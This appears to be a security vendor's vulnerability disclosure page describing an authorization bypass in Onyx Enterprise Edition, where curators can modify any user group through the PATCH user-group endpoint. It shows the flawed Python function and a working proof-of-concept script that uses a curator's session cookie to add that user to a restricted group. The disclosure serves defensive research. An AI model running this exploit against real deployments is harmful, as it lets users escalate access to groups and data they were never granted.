How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An authorization bypass was found in the Onyx Enterprise Edition’s group management functionality. The application intends for Curators to only administer users within groups they are specifically assigned to but a flaw in the API implementation allows unauthorized manipulation of any group within the system. The backend API fails to validate whether a curator has permission to modify a specific group. The vulnerability specifically affects the PATCH endpoint for user group management.
The root cause is in the update_user_group function in backend/ee/onyx/db/user_group.py. This function receives a user group ID and update data but never verifies if the authenticated curator has permission to modify that particular group:
<code class="hljs language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">update_user_group</span>(<span class="hljs-params">
db_session: Session,
user: User | <span class="hljs-literal">None</span>, <span class="hljs-comment"># this parameter exists but isn't used for permission checking</span>
user_group_id: <span class="hljs-built_in">int</span>,
user_group_update: UserGroupUpdate,
</span>) -> UserGroup:
<span class="hljs-comment"># retrieves the user group without checking if the current user has permission to modify it</span>
stmt = select(UserGroup).where(UserGroup.<span class="hljs-built_in">id</span> == user_group_id)
db_user_group = db_session.scalar(stmt)
</code>The codebase properly implements permission checks for similar operations, as evidenced by functions like _validate_curator_relationship_update_requester() and error messages such as “Curators cannot control groups they don’t curate.” This inconsistency suggests the missing check is an oversight rather than an intended design.
The following steps demonstrate how a Curator can exploit this vulnerability to modify groups they shouldn’t have access to:
<code class="hljs language-bash"><span class="hljs-built_in">export</span> ENABLE_PAID_ENTERPRISE_EDITION_FEATURES=<span class="hljs-literal">true</span>
<span class="hljs-built_in">export</span> AUTH_TYPE=basic
</code><code class="hljs language-python"><span class="hljs-keyword">import</span> requests
BASE_URL = <span class="hljs-string">"http://localhost"</span>
AUTH_COOKIE_NAME = <span class="hljs-string">"fastapiusersauth"</span>
TARGET_GROUP_ID = <span class="hljs-number">1</span> <span class="hljs-comment"># ID of the RESTRICTED_GROUP</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">exploit_group_modification</span>(<span class="hljs-params">auth_token</span>):
user_response = requests.get(
<span class="hljs-string">f"<span class="hljs-subst">{BASE_URL}</span>/api/me"</span>,
headers={<span class="hljs-string">"Cookie"</span>: <span class="hljs-string">f"<span class="hljs-subst">{AUTH_COOKIE_NAME}</span>=<span class="hljs-subst">{auth_token}</span>"</span>}
)
<span class="hljs-keyword">if</span> user_response.status_code != <span class="hljs-number">200</span>:
<span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
curator_id = user_response.json()[<span class="hljs-string">"id"</span>]
modify_response = requests.patch(
<span class="hljs-string">f"<span class="hljs-subst">{BASE_URL}</span>/api/manage/admin/user-group/<span class="hljs-subst">{TARGET_GROUP_ID}</span>"</span>,
json={
<span class="hljs-string">"user_ids"</span>: [curator_id],
<span class="hljs-string">"cc_pair_ids"</span>: []
},
headers={<span class="hljs-string">"Cookie"</span>: <span class="hljs-string">f"<span class="hljs-subst">{AUTH_COOKIE_NAME}</span>=<span class="hljs-subst">{auth_token}</span>"</span>}
)
<span class="hljs-keyword">if</span> modify_response.status_code == <span class="hljs-number">200</span>:
<span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
<span class="hljs-keyword">else</span>:
<span class="hljs-built_in">print</span>(modify_response.text)
<span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
curator_token = <span class="hljs-built_in">input</span>(<span class="hljs-string">"Enter curator's authentication token: "</span>)
exploit_group_modification(curator_token)
</code>This confirms that the curator can modify any group, violating the intended access control model.

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Authorization bypass in n8n’s dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user’s OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Artemiy Malyshau
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.